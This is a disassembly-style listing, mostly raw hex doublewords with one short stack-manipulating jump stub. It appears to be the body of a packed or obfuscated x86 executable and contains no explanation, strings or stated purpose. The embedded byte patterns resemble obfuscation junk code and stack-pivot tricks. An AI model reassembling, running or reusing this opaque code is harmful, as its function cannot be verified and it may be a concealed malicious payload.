dd 3B5ED7E9h, 0D6E8DEBBh, 36BA395Eh, 0A94851C8h, 5641CF27h
dd 0B41C35E1h, 6F87140Ah, 237861FDh, 99912Bh, 41536FF1h
dd 95FE94C5h, 61FD6F87h, 0DBEE7978h, 0CBFFCB03h, 3635AF15h
dd 0F105AB1Ch, 3620463h, 0D6F6F815h, 21C6ECB2h, 69C01301h
dd 70D3C499h, 926C7250h, 23F8FC99h, 35997144h, 0CCD3BA6Fh
dd 2F44BA0Bh, 2BC547AAh, 9B0619A3h, 4F48E458h, 26CE20A4h
dd 0D2764682h, 32000915h, 0E707C43Fh, 5F91A418h, 8D0C2597h
dd 0D8D14810h, 52925C45h, 0E9A1C17Eh, 31EAD45Fh, 0F2000002h
dd 0C63A6340h, 0EB6D2EABh, 0AC346974h, 67A23B4h, 6A316A6Fh
dd 0F9E07911h, 5247DCA4h, 0FC999749h, 5C45D99Fh, 9F45893Fh
dd 12FA8615h, 473F8411h, 3CF2AB2Eh, 0C32EABC2h, 273BB541h
dd 2EF2E1BAh, 0D50BC39Bh, 1503724Ah, 961708B8h, 12FE9566h
dd 47AA2CE2h, 11D17B9h, 674DD813h, 0D9C65862h, 0BE5E961Ah
dd 92851E8Fh, 0CAD8h, 2B47B700h, 58D143AEh, 0FB738D41h
dd 99716DEh, 1C36419Eh, 8815829Eh, 0B0435CD0h, 14B89023h
dd 36B8FCEh, 0A53B8F15h, 1301121Fh, 0B361951Bh, 0C4CF702Dh
dd 0F20CC00Ch, 1FA53B7Ah, 1B130112h, 0F2985B95h, 11306ACh
dd 12DC0213h, 0C3AA4CE2h, 781E0BCCh, 36B3AA54h, 0D4589B38h
dd 0E8CAB21Ah, 0ED051B52h, 0CF91668Eh, 83A34356h, 1AE9A174h
dd 14EAF97h, 2D0F0000h, 0D04D1388h, 130CD4C9h, 0CB631586h
dd 120BCDCEh, 6C1D1687h, 8912879Eh, 64395CD7h, 8815829Ch
dd 5A435CD0h, 42881676h, 3612FA85h, 0B91526A5h, 3641A12Bh
dd 4059D11Ch, 23952FB1h, 965E900Dh, 0F8C0D24h, 0CCD549h
dd 7E7663FEh, 62FB05A9h, 47E07F77h, 0D143AE2Bh, 0A157445Dh
dd 52DD148Dh, 0A13F8F47h, 15036D0Ah, 8B79781Eh, 552D2A1Ah
dd 323715E0h, 0ED5F9793h, 94336871h, 5F854901h, 0BCD859Ch
dd 0E95B9618h, 13856C75h, 1737E1Bh, 0E7E756Ch, 0F714D7BDh
dd 0E7B2BEA6h, 2019F2Fh, 0F6150286h, 0F903ABF0h, 0D7F7762h
dd 0F7698811h, 0E5F26C79h, 8D648A0Eh, 0B3462E9Fh, 0A23F32BFh
dd 7A23CD4Fh, 1B12DAEDh, 0FFF1737Eh, 0B5342DCFh, 23CE20B9h
dd 0D4C15FA1h, 0AF5B9B1Dh, 0CDB1BAF1h, 0C928AE0Bh, 33BEDB57h
dd 0ECD845h, 0B3F1DDB5h, 1502DDF8h, 16B1EAECh, 0DD03CB83h
dd 0BD831E7h, 5F7AF30Dh, 2EE41094h, 5BD749A8h, 879B5D3Eh
dd 8933D71Ah, 65E70A97h, 83180391h, 0C8154DE6h, 0AC3529DCh
dd 0ECF569EFh, 0FE9B9305h, 0AC9805F3h, 3F5C45D9h, 0B53CA5B9h
dd 0FCDh, 0EB15FE00h, 71CA3B74h, 0F36F9A19h, 0C48FF9FDh
dd 41B01547h, 0AB4653CFh, 37BA2739h, 0C82BAEC5h, 35BCDD54h
dd 0C42FAAC3h, 34BFD850h, 0BF32AFC0h, 2AC9D04Dh, 6C68685Dh
dd 8F540000h, 4812404h, 424h, 0E3895300h, 4C381h, 0EB830000h
dd 241C8704h, 242C895Ch, 6FBF68h, 243C8900h, 3BACD368h
dd 242C8B09h, 5404C483h, 81243C8Bh, 4C4h, 359A6800h, 2C890000h
dd 8478F24h, 5F2434FFh, 4C481h, 2C8B0000h, 0E6895624h
dd 4C681h, 0C6810000h, 4, 5C243487h, 0F9C0BBE9h, 0C22402FFh
dd 18DDD3h, 0ABB8122Ah, 3093BBDh, 0E8E0FFC5h, 8B2C310Bh
dd 1726087Ah, 0FC5D1FEDh, 12745FE2h, 0BF4325BFh, 4A51BC90h
dd 0BB02C05Ch, 0BC57BE6Ch, 4F076736h, 0C060FFA2h, 8D7E6A06h
dd 3BBF248Dh, 48D0F09h, 66000000h, 895F98B8h, 3516298Dh
dd 51006A09h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h
dd 0C3514100h, 0C99D31DEh, 60093504h, 1F1DBD89h, 5E560935h
dd 7D85C761h, 2C093528h, 6600005Ah, 0C70E42BAh, 35225585h
dd 9, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1C04h, 0C3514100h, 0FFE08D38h, 114E8720h, 0F5B5FFB6h
dd 6A09352Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1C042444h, 42000000h, 5DE8C352h, 6970FA1Eh, 0FF34E422h
dd 350D0595h, 11E909h, 6EE40000h, 0A353C7DCh, 0AFC87E0Eh
dd 0AB1BE959h, 6A8031B5h, 2995FF00h, 8B093508h, 710DEBC0h
dd 3FF26266h, 38A766DCh, 3B931896h, 11E8h, 0E162EF00h
dd 384C4173h, 8E1B06C5h, 129E67B4h, 0B58BB4F9h, 9350191h
dd 0E59D8B5Fh, 8109350Dh, 73C4C7h, 9D8B6000h, 93516C9h
dd 31A98501h, 0B9610935h, 1CD0h, 1D92F681h, 37FF1473h
dd 30B5BD89h, 0BB5A0935h, 5F4671ABh, 3475C281h, 8D896E56h
dd 93506C9h, 1F67EA81h, 0DC8036D0h, 0B9C28151h, 530CB7B7h
dd 0E1D850Bh, 895B0935h, 5AC68117h, 83624235h, 0E98304EFh
dd 0BB850F01h, 81FFFFFFh, 0CCC3A9F6h, 7E80Dh, 0B0000h
dd 14A51A67h, 0D2BF0FD6h, 0B5895258h, 935302Dh, 0DEC0815Fh
dd 6000006Eh, 8BA850BAh, 0DB2B6143h, 6830Fh, 0BD8B0000h
dd 93511B1h, 560334FFh, 1C85D281h, 595A2A77h, 0FCF78166h
dd 5C1813Ah, 0E943D693h, 0Ah, 0C96696CEh, 657F6255h, 0C181009Eh
dd 17A491B9h, 0E82CF181h, 0BD237720h, 9353041h, 0E9180C89h
dd 0Ah, 0BF2F5534h, 32A40981h, 8957856Bh, 3503A98Dh, 0EB815E09h
dd 54CDA8DEh, 0A8DAC381h, 0FB8154CDh, 0FFFF91BCh, 0FF96850Fh
dd 9D89FFFFh, 9350195h, 0C13C8D8Dh, 6A093Bh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0EF9A78C3h
dd 0B589B470h, 93516ADh, 16298D89h, 0C78B0935h, 287D85C7h
dd 5F140935h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 180424h, 55450000h, 0F6409CC3h, 0B529040Bh, 93505CDh
dd 225585C7h, 935h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 190424h, 56460000h, 0B3EE27C3h, 52D44CBDh
dd 15B531h, 0FF580935h, 350041B5h, 0C5B58909h, 0FF09350Eh
dd 350D0595h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1804h, 0C3534300h, 8074699Ah, 1958BB9h, 6A09350Ch, 2995FF00h
dd 8B093508h, 2B2DEBC0h, 0BF522412h, 2595528Ah, 7B92ED3h
dd 3E27E353h, 0F4CF924Fh, 982A6629h, 0E2242229h, 0CB209C7h
dd 0D13083D8h, 25DC147Bh, 0AF18534h, 8EBh, 74D40000h, 9BE9574Dh
dd 68000004h, 93BC258h, 0F9BD4FE9h, 0C2DB68FFh, 45E9093Bh
dd 68FFF9BDh, 93BC42Fh, 0F9BD3BE9h, 298EACFFh, 6871EC74h
dd 27B2AD33h, 6D6A0276h, 28B1A830h, 37D3A873h, 7E029B3Eh
dd 35ABF0E5h, 7BFD9E3Bh, 0AFA1FAE7h, 80FBC1DFh, 0DEEF12FAh
dd 0AB2E47DDh, 3F58D448h, 0DD56685Eh, 1EA93CB8h, 39588646h
dd 9F150361h, 646AFAF9h, 2513011Eh, 9AF3D4C0h, 0D092851Ch
dd 4EA6332Eh, 2E1A7h, 0A49E800h, 0DEE4FACEh, 0DA1C3641h
dd 29520D4h, 0CD5C824Ah, 0EB150354h
dd 9C8B59C5h, 83D81E0Ch, 2E745830h, 20B2DB4Fh, 43D023C5h
dd 6E349870h, 179DFAC0h, 0C2273CBEh, 36BE30ADh, 22666688h
dd 0CDEB8698h, 3531F82Dh, 2EA0549Ah, 80F8A532h, 5FF3F3ECh
dd 7EDDEFFAh, 2F80BF3h, 4DEF0000h, 0B0AD3368h, 73EC7429h
dd 0ABC33566h, 72EB6D2Eh, 0C7D3667h, 0A9F2E77Eh, 4993C37h
dd 0A8F5E27Ch, 0FAA33C30h, 62687656h, 5612FA7Fh, 9B2E8645h
dd 0D4B30BC3h, 0A6C8FF91h, 0EBF9A551h, 150C9C35h, 0AE3B37C9h
dd 20CE20B5h, 801D12ACh, 6307EF71h, 29B7C059h, 12FB1BA3h
dd 2190E397h, 0AC2737E3h, 34A5BC42h, 61FE1BAh, 0E00E8BA3h
dd 550E8311h, 0E22DA8Eh, 0F4735591h, 872AE063h, 2759Fh
dd 0E9CE6C00h, 0A8312CB4h, 0E7F26DF3h, 0AD2A42B6h, 0E8F168F0h
dd 0F793E8B3h, 0BE425B7Eh, 0F56B30A5h, 0BB3D5E7Bh, 6F613AA7h
dd 7F3B811Fh, 9E2F12FAh, 0C39B2E1Dh, 8343D50Bh, 3FC1150Dh
dd 0B83CB722h, 9160863Ch, 435ED3EDh, 809B1DB3h, 95C12FAh
dd 0BF0B421Bh, 0A75C928Bh, 26000001h, 0F3FE9B94h, 47DE8571h
dd 0D143AE2Bh, 367C225Dh, 321C3641h, 416E548Ah, 446A1C36h
dd 885744AAh, 2569653Dh, 0E115809Bh, 3640C53h, 73EE0015h
dd 16839866h, 458B19D8h, 7513011Bh, 9E12E1F8h, 6EE21186h
dd 8A0EE5F2h, 0F8C1B350h, 2C3021EDh, 325F91EDh, 535B245Ch
dd 3D9AD49Ah, 5F786CB9h, 9285452Eh, 3839h, 0EB159A00h
dd 0F78A6A77h, 0CAD8F4ACh, 1503725Bh, 64F4FFA1h, 13011162h
dd 0F5D2C223h, 11C10B99h, 33B51301h, 29F21BC3h, 48789285h
dd 0FA2998D6h, 0D48373D2h, 0A9h, 0AE2B47B3h, 4158D143h
dd 22C00CB2h, 1C364198h, 70EA0A8Ch, 9C10E3FCh, 0B6861780h
dd 1C3646C2h, 0B8E5F26Eh, 8C49C27h, 3CB8E1B8h, 0FBFB0C9Ah
dd 0E9817B4Fh, 0E36E04F0h, 0A115016Ch, 0AFDC7DDh, 0F7F912FFh
dd 322BD5F9h, 0EB82F6A7h, 9400F6EEh, 169DF2D6h, 1212Ch
dd 9D3A1800h, 0FCE57800h, 5B46D99Fh, 31A6BE42h, 5C7DF46Ch
dd 8307743Fh, 2AAEEFEAh, 81F7A431h, 37A9F2EFh, 4BFD9E3Bh
dd 7D575D83h, 425312FAh, 892E4781h, 41159F45h, 8F111C36h
dd 36416F55h, 7D456B1Ch, 0D9B57372h, 0DBC02E38h, 0B900925h
dd 75EB1528h, 1E128C68h, 62FE7281h, 0C972875h, 0EF867854h
dd 718507EAh, 0DAF17CDh, 1A71503h, 0D9E301CDh, 0CD1300F5h
dd 4B7F2BCBh, 0D521B8B1h, 0C6D7C25Bh, 5247DEE0h, 0F5AA0CA2h
dd 46DA1300h, 8B197559h, 1300F541h, 0F51BA13Fh, 890F1300h
dd 6C41B53Bh, 955C7DF4h, 75ADh, 9B2EDE00h, 3FD50BC3h, 0BB150D83h
dd 60E99935h, 0DEBA9F2Dh, 0E458D71Fh, 8A4E4F48h, 5AEA0996h
dd 39057F0Fh, 12E5CF4Eh, 641C811Eh, 0B024CFC8h, 0A3362FB8h
dd 0CF22CC50h, 0F58074E1h, 0E3FC7079h, 0AE155E10h, 0B0685354h
dd 0A21CB03Eh, 3EE40F8Ch, 0E84B1AA0h, 66880EC4h, 2B47B98Eh
dd 18A2408Ch, 0CC4E84Bh, 4B72588Ah, 4066C4E8h, 35B43AEh
dd 0AC000000h, 1547844Fh, 53CF41B0h, 2739AB46h, 0AEC537BAh
dd 0DD54C82Bh, 0AAC335BCh, 0D850C42Fh, 0AFC034BFh, 0D04DBF32h
dd 565D2AC9h, 0C681E689h, 4, 8704EE83h, 895C2434h, 89562414h
dd 4C681E6h, 81000000h, 4EEh, 24348700h, 242C895Ch, 17AC68h
dd 240C8900h, 4BC668h, 24048900h, 5900C768h, 86055844h
dd 483D5E4Dh, 0E705D8F7h, 898AF30Fh, 0EC8358C5h, 24248904h
dd 4240483h, 8BB5359h, 81000000h, 0DC5025EBh, 81CB0112h
dd 0DC5025C3h, 5B2B8912h, 51240C8Bh, 0C181E189h, 4, 4C181h
dd 0C870000h, 2C8B5C24h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5464A4
; ---------------------------------------------------------------------------
db 4, 0B8h, 75h
dd 3093BC5h, 2FE0FFC5h, 397AEF79h, 252AE25Fh, 8F2DA461h
dd 2843C907h, 81EA5AEh, 7F3012B9h, 8B6FCE2Eh, 0CC4420DDh
dd 9400B836h, 915B789h, 514E5D7Ch, 1E7E5h, 6D52328Ch, 6C783454h
dd 1867440Ch, 9932A1E5h, 3530F918h, 5352951h, 0E769B6BDh
dd 0E80620CFh, 0Ah, 7A5E04C3h, 6259A6C1h, 0EE8AE0DBh, 5830F5Ah
dd 66000000h, 62B2C881h, 66DFC281h, 0B9520000h, 668D38Ah
dd 0E9DB335Fh, 9, 22EE3478h, 0A722AA43h, 1A348BF4h, 0E061D181h
dd 0C6816A53h, 0A3A6931h, 0C681C68Bh, 0D89CCE0h, 8157D180h
dd 0F6AA73F6h, 0B3CF810Dh, 5675A060h, 0F1A048Fh, 28Ch
dd 0B1FB8B00h, 3EB83CFh, 12E8h, 686EB800h, 977ABC58h, 5B7821A2h
dd 67D38CD1h, 0FC963DB7h, 81FC4B58h, 0FF99B4FBh, 0A2850FFFh
dd 66FFFFFFh, 0E81F19BFh, 5, 34F330F5h, 0FBBF663Bh, 0BE66598Bh
dd 0C181A316h, 6E1Ah, 0BAF08B66h, 0
dd 9E9h, 50A7CE00h, 744458E0h, 48B70FDh, 8820F11h, 0F000000h
dd 28Fh, 81616000h, 0E8817FF0h, 0A0C0810Bh, 0F5998F6h
dd 0C081F6B7h, 210C5049h, 1F5327BBh, 1104890Dh, 83DBBF0Fh
dd 0AE904EAh, 1D000000h, 24036B30h, 0B58A086Dh, 0B8FA81FAh
dd 0FFFFF92h, 1985h, 4860F00h, 66000000h, 0E9FDA9BFh, 4Eh
dd 303F767Ah, 0AEC827DDh, 0BE81157h, 64000000h, 1AD5467Eh
dd 0B8CBC42Bh, 0E9604D2Ch, 0Eh, 14B4655Dh, 0B1220407h
dd 9DB7C7C0h, 60BB507Bh, 611BB220h, 0FF68E95Eh, 0AF92FFFFh
dd 0D7A9D423h, 54B357B0h, 81AD442Fh, 9ACCF1EFh, 0C08B714Bh
dd 26A1BD83h, 75000935h, 79BD8309h, 93530h, 53501974h
dd 21B8C08Bh, 89000004h, 352AC185h, 389D8D09h, 0FF0937B4h
dd 83585BD3h, 353079BDh, 17740009h, 21B85350h, 89000004h
dd 352AC185h, 279D8D09h, 0FF0937B1h, 8B585BD3h, 0E99D8BC0h
dd 0C6093531h, 35179D85h, 52685609h, 0FF9CA8B8h, 35167DB5h
dd 70858D09h, 0FF09387Bh, 68046AD0h, 1000h, 0DD1B5FFh
dd 6A0935h, 0C085D0FFh, 0D850Fh, 0B80000h, 8D000000h, 3570998Dh
dd 8BE1FF09h, 3C38BC8h, 0F8053C40h, 8B000000h, 0D3030C50h
dd 2701BD83h, 0F000935h, 0E84h, 19D8B00h, 8B093527h, 3507E985h
dd 51038909h, 3F858D52h, 0FF09357Ah, 8BFA8BD0h, 8BD18BF1h
dd 0C6A4F3C8h, 35179D85h, 39685609h, 0FFD41F6Dh, 35167DB5h
dd 70858D09h, 0FF09387Bh, 800068D0h, 6A0000h, 8BD0FF52h
dd 0A1BD83C0h, 93526h, 0BD830975h, 9353079h, 50197400h
dd 0B8C08B53h, 421h, 2CA98589h, 9D8D0935h, 937B49Fh, 585BD3FFh
dd 3079BD83h, 74000935h, 0B8535017h, 421h, 2CA98589h, 9D8D0935h
dd 937B140h, 585BD3FFh, 9D8DC08Bh, 9352701h, 0C00B038Bh
dd 7840Fh, 38B0000h, 89045B8Bh, 4B41B818h, 8E80000h, 0B4000000h
dd 7DFCF83Ah, 80A59876h, 0F591EDCh, 0C181DEBFh, 6176h
dd 0E0B5E0BEh, 0B5EE817Ah, 0B07AE09Dh, 0E931FFFBh, 14h
dd 0B87E7E4Ch, 760074E9h, 0CDBDBA05h, 5314102Ch, 0A8FA269Eh
dd 0FDF3BB5Fh, 0EF8116D7h, 7F2936F5h, 0F781C38Bh, 722D16EEh
dd 0EF81C68Bh, 0E8092D1h, 74D88166h, 80398979h, 0E983D7E0h
dd 12E904h, 66570000h, 0FD1ACF38h, 0EB33186h, 391589CEh
dd 87C41763h, 0F01EE83h, 2985h, 0CB806000h, 6E85Dh, 0B6840000h
dd 0A40A1678h, 10E03B9h, 0E9615847h, 2Dh, 0E68593A2h, 4E8E15ECh
dd 9E93CD5Ah, 0AE9B7E6h, 14000000h, 605376A6h, 75489DB2h
dd 0FF5FE9D7h, 0D598FFFFh, 50A1A8FCh, 635D579Ah, 3BE91Bh
dd 8B600000h, 3522E5BDh, 4EF8309h, 0C18BC933h, 0B88320BBh
dd 4C783EDh, 8BEh, 1BE8D100h, 33D323D2h, 850F4EC2h, 0FFFFFFF1h
dd 81078941h, 100F9h, 0D3820F00h, 61FFFFFFh, 0FEC88BC3h
dd 0B131FCAh, 4F9B9CA8h, 0B105A8Ah, 0EAD5ABA8h, 0B103275h
dd 4F989AA8h, 0AE5DBA8Ah, 4F997757h, 0B11228Ah, 0EAD5ABA8h
dd 0B11F575h, 4F99A5A8h, 0B16778Ah, 4F9E27A8h, 0B16E98Ah
dd 0EAD5ABA8h, 0D42F2575h, 1C119F24h, 9BC1C003h, 90A75D93h
dd 58998E70h, 0DF4DD121h, 0D42F4CB1h, 1C1198F9h, 9BC9C003h
dd 90A75D93h, 58998923h, 0DF59D121h, 0D42F4CB1h, 1C1199A8h
dd 9BD5C003h, 90A75D93h, 589988DFh, 0DF55D121h, 0D42F4CB1h
dd 1C119931h, 9B21C003h, 90A75D93h, 58998868h, 0DFA1D121h
dd 0D42F4CB1h, 1C119A8Bh, 9B2DC003h, 90A75D93h, 58998BEEh
dd 0DFB9D121h, 0D42F4CB1h, 1C119A0Dh, 9B35C003h, 90A75D93h
dd 58998B54h, 0DFB1D121h, 0B8C34CB1h, 152A5012h, 0D24ECEDFh
dd 0FD4AA86Ch, 51A2458Ah, 53C0D5F2h, 96AB7E41h, 152AA8EDh
dd 2429458Ah, 96E367A0h, 0D5ADBAB4h, 152A54A1h, 5564C6CBh
dd 0EAD5BA41h, 0AE63CE75h, 2035653Ah, 53428483h, 0EA2211ABh
dd 245D55FFh, 9C3AABA4h, 0DAC3B9CFh, 0D7E3A8EDh, 0DAF74586h
dd 0E9EED744h, 59D7CEEAh, 0D2262923h, 51A2B9CFh, 0AD6C54A8h
dd 51A24162h, 0BFEA6603h, 0DB2FEE27h, 1C11BA62h, 1129475h
dd 0DFA0D902h, 0AEAB7E64h, 51A1EC79h, 0DC0941AEh, 2EC49E22h
dd 3773BA83h, 732ADF10h, 9B28C821h, 0EA236F46h, 152BFD5Bh
dd 9881508Ch, 6A4C8F00h, 0A5FBABA1h, 2C89EFD2h, 0E957DDA4h
dd 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah
dd 13C0D5F2h, 0DAAB7E46h, 68A15CDDh, 0ADE78286h, 152A54A8h
dd 3430BACCh, 9E2361B3h, 0FC69CE52h, 0A5B99783h, 0FA31EFE2h
dd 0DFA0D9F9h, 0AEAB7E64h, 949A0D79h, 551A2320h, 8481328Ch
dd 5DDF6E21h, 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h
dd 15C23454h, 0BA2458Ah, 0D977BE29h, 24294CB1h, 1957DFA0h
dd 515E004Dh, 532A54A8h, 4AC7D775h, 0CDA15D9Dh, 0FC69CE19h
dd 0A5B9979Bh, 0FA31EFE2h, 0DFA0D9F9h, 0AEAB7E64h, 949A0D79h
dd 651A2320h, 8481328Ch, 5DDF6E21h, 74D62921h, 985E0001h
dd 402A5C6Ah, 9521A901h, 60A13454h, 5DDFCE82h, 15D6116Fh
dd 0FDA2458Ah, 1DC9953Bh, 919197B9h, 38F2DE04h, 51A2454Ah
dd 1AD5A828h, 51A25E0Eh, 1523EDA8h, 0A055458Ah, 9025862Dh
dd 51A24586h, 7332A328h, 37AA8E4Bh, 0BE4C9723h, 0D8AE38A1h
dd 9E4BA8D5h, 936BB9CFh, 9E7F54A0h, 0AD66C666h, 1D5FDFC8h
dd 96AE3801h, 152AA8EDh, 0C20E458Ah, 2622B769h, 0FD627658h
dd 0D5078C22h, 0D1A2458Ah, 9125AB54h, 51A24593h, 152A5D11h
dd 0D453B28Ah, 1FAF5B7Ah, 0E0A2458Ah, 93E25610h, 9191EF4Bh
dd 19577F03h, 305E3803h, 0DCD61123h, 4A24D48h, 0D1A9B823h
dd 24292576h, 1957DFA0h, 515E004Dh, 0B92A54A8h, 0B2229D00h
dd 85E1D4A7h, 0DC088600h, 2EC49E22h, 0E173BA83h, 9FA7FEF8h
dd 5899AB40h, 0D6A08557h, 5DDF6E20h, 74D62921h, 985E0001h
dd 402A5C6Ah, 9521A901h, 60A13454h, 5DDFCE82h, 15D6116Fh
dd 0E9A2458Ah, 152A54AFh, 4E93D775h, 45265D9Dh, 9B28C820h
dd 0EA236F46h, 0FB2BF55Bh, 3186949Bh, 59622E85h, 0A58050ACh
dd 2C89EFAEh, 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh
dd 9E4AA86Ch, 2C294DFFh, 0E96F93A4h, 51A2458Ah, 87D5FE04h
dd 58975EEFh, 17868C23h, 0DB2FEF49h, 1C11BA62h, 0E9C49475h
dd 0BE4CBD28h, 7A088600h, 68A358D5h, 14292476h, 1DE89D54h
dd 0BD29108Ah, 75D6902Bh, 0DAAA3001h, 50ED58D5h, 51A24576h
dd 0EA80F8A8h, 64B92018h, 0B9E2DFA1h, 0DC088558h, 2EC49E32h
dd 3771BA83h, 73E39410h, 0FB63CF21h, 9C262983h, 0DAC3B9F7h
dd 0D7E3A8EDh, 0DAF74582h, 0E9EED744h, 59D7CEEAh, 0D2262923h
dd 51A2B9CFh, 0BF8654A8h, 4AC7D775h, 0DDA15D9Dh, 0FB637726h
dd 0FBE0CE25h, 825D4CB1h, 0E4AAECCEh, 9028EEECh, 19577F02h
dd 305E3803h, 0DCD61123h, 4A24D48h, 0D1A9B823h, 24292576h
dd 1957DFA0h, 515E004Dh, 732A54A8h, 376B7732h, 0DFB0D903h
dd 0AEAB7E64h, 9592327Bh, 0FD09234Bh, 6801FE04h, 0ADDFCC86h
dd 0E96FDFC9h, 51AA8743h, 96C6DFFDh, 0DAC2B94Eh, 68A15CDDh
dd 0ADE78286h, 152A54A8h, 0B824FDECh, 8FA7FFCEh, 5899AB40h
dd 0A09A8757h, 0FB0E0320h, 0FBE0CE25h, 825D4CB1h, 0D8ACECCEh
dd 2C89EEECh, 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh
dd 0FD4AA86Ch, 51A2458Ah
dd 3BC0D5F2h, 96AB7E45h, 152AA8EDh, 2429458Ah, 1957DFA0h
dd 5E917926h, 152A1E2Ch, 5E89798Ah, 152A162Ch, 5ECA798Ah
dd 152A492Ch, 5E13798Ah, 152A382Ch, 5EF2798Ah, 152A5C2Ah
dd 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah, 60D554A8h, 59D7BA86h
dd 0DF49CE25h, 0DCF14CB1h, 2EE16E32h, 0D871BA83h, 42C3A8EDh
dd 0AEA2458Ah, 60D558DDh, 2238C882h, 46236F62h, 9A98DF07h
dd 0C6D55D93h, 0B85E0003h, 152A5492h, 0AEAE3075h, 8FA75CDDh
dd 58998FF5h, 2FB0D9FBh, 0AEAB7E41h, 0E96FDD7Bh, 51A25863h
dd 195FABA8h, 0DCAA3075h, 2EE0DF32h, 0CB2F1683h, 1C119F92h
dd 142B9675h, 152ABD54h, 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h
dd 0E9000030h, 2Ah, 2404C7h, 0E8000000h, 0
dd 0AED815Dh, 8B093BD0h, 89042444h, 3506C585h, 0B809h
dd 8D8D0000h, 9354C02h, 54B8E1FFh, 8D000067h, 351BD99Dh
dd 1434B809h, 85890000h, 93526D9h, 0E8h, 0D055800h, 89000000h
dd 1434E903h, 50Dh dup(0)
dd 16EB0000h, 5 dup(0)
dd 3980101h, 93B0000h, 11E950h, 7B980000h, 7DBD2ACDh, 0FE183B4Dh
dd 0ABBCB760h, 896B4BC4h, 6A2404h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 180424h, 57470000h, 5A9487C3h, 6A73EBh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0C9C35747h, 25CDB589h
dd 6A0935h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 16h, 4BC35242h, 0B70FB9F5h, 50858DCEh, 6A093BE6h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
dd 0A7E3C355h, 122787EFh, 8AEE0C68h, 0F239E381h, 8D3139E2h
dd 9350161h, 1DBA6690h, 0BF665079h, 6A90A604h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
dd 28C3C353h, 97ED427Ch, 8D0FB7EFh, 16h, 11E9h, 0A2EB8B00h
dd 0F7DE2D2Dh, 6324A943h, 1DBAE510h, 6AE30Fh, 13E8h, 8C22C100h
dd 0F0A6B6FAh, 0A6DA1897h, 0C36A72ACh, 393AD7E3h, 13E9h
dd 3849E200h, 0A127EC58h, 0A0723295h, 765D9082h, 97EB1B8h
dd 55DF805Ah, 0F52006Ah, 1488h, 0EE800h, 0B69F0000h, 1A5BAB71h
dd 7F0BFF31h, 3C141B54h, 95FF5A5Bh, 9350331h, 1C25BD89h
dd 66600935h, 6E9DE8Bh, 97000000h, 0C870B353h, 0CDE96101h
dd 6A000005h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1C042444h, 46000000h, 0A2DFC356h, 0F2378D19h, 0E97A2EA2h
dd 0Ch, 5CAC783Ch, 0FBD09F93h, 68A0988Bh, 0E8DF8Bh, 5D000000h
dd 0E655ED81h, 0BF0F093Bh, 0FE9D1h, 191C0000h, 0AF164777h
dd 0BFF89367h, 6ABEDBD0h, 0FCB568A7h, 0D38A3D93h, 15243481h
dd 6A3D93F3h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 19042444h, 45000000h, 9369C355h, 0FB1F3BBAh, 22258D8Bh
dd 95FF0935h, 9350829h, 5820Fh, 81660000h, 8D2BFFDBh, 3BE486B5h
dd 61953309h, 0C709350Fh, 67655206h, 57006A6Dh, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 8D8BECEBh
dd 9352899h, 8119D31h, 46C70935h, 636E6F04h, 6E96Ch, 719B0000h
dd 9B242116h, 610846C7h, 6A007373h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0A2F76793h
dd 59E36D41h, 0F58D2905h, 8D093528h, 3BE48685h, 0DB816609h
dd 0E950867Eh, 13h, 0F61F6016h, 51F82598h, 774AD3C1h, 0C6966EBEh
dd 89C62B6Ch, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1C0424h, 56460000h, 6BD4B5C3h, 1C6792D7h, 0B9600DB4h
dd 61A8AD46h, 2173BA66h, 0F595FF61h, 8B093502h, 3516818Dh
dd 0FC00B09h, 3284h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1904h, 0C3554500h, 6DD9893Ah, 858957ABh
dd 93503F1h, 3C9E9h, 0B1BD0100h, 6809352Dh, 62E87E08h
dd 0F87BB966h, 24243481h, 6A62E87Fh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 5BA0C356h
dd 0F1BAC3F9h, 0E924F509h, 0Fh, 0DF0735D3h, 71D021Dh, 67835DB7h
dd 0FF2AB227h, 35082995h, 57006A09h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 8D5548FDh
dd 3BE486B5h, 56006A09h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1904h, 0C3564600h, 6F0E227Bh, 0A3BBE437h, 0F5126C9h
dd 6C7D6B7h, 36343831h, 2DCDBD01h, 46C70935h, 342D3704h
dd 51958B31h, 0C7093532h, 846h, 8D8B0000h, 935244Dh, 6A006Ah
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
dd 858D99C3h, 93BE486h, 0CD9B501h, 0E8900935h, 11h, 9D54A913h
dd 0B33A114Ah, 0D2E5F8C9h, 45AFA4E4h, 38C0FB1h, 66000000h
dd 505FCB8Bh, 0F8DEBB66h, 0E5BAFC90h, 0FF7C106Bh, 3502F595h
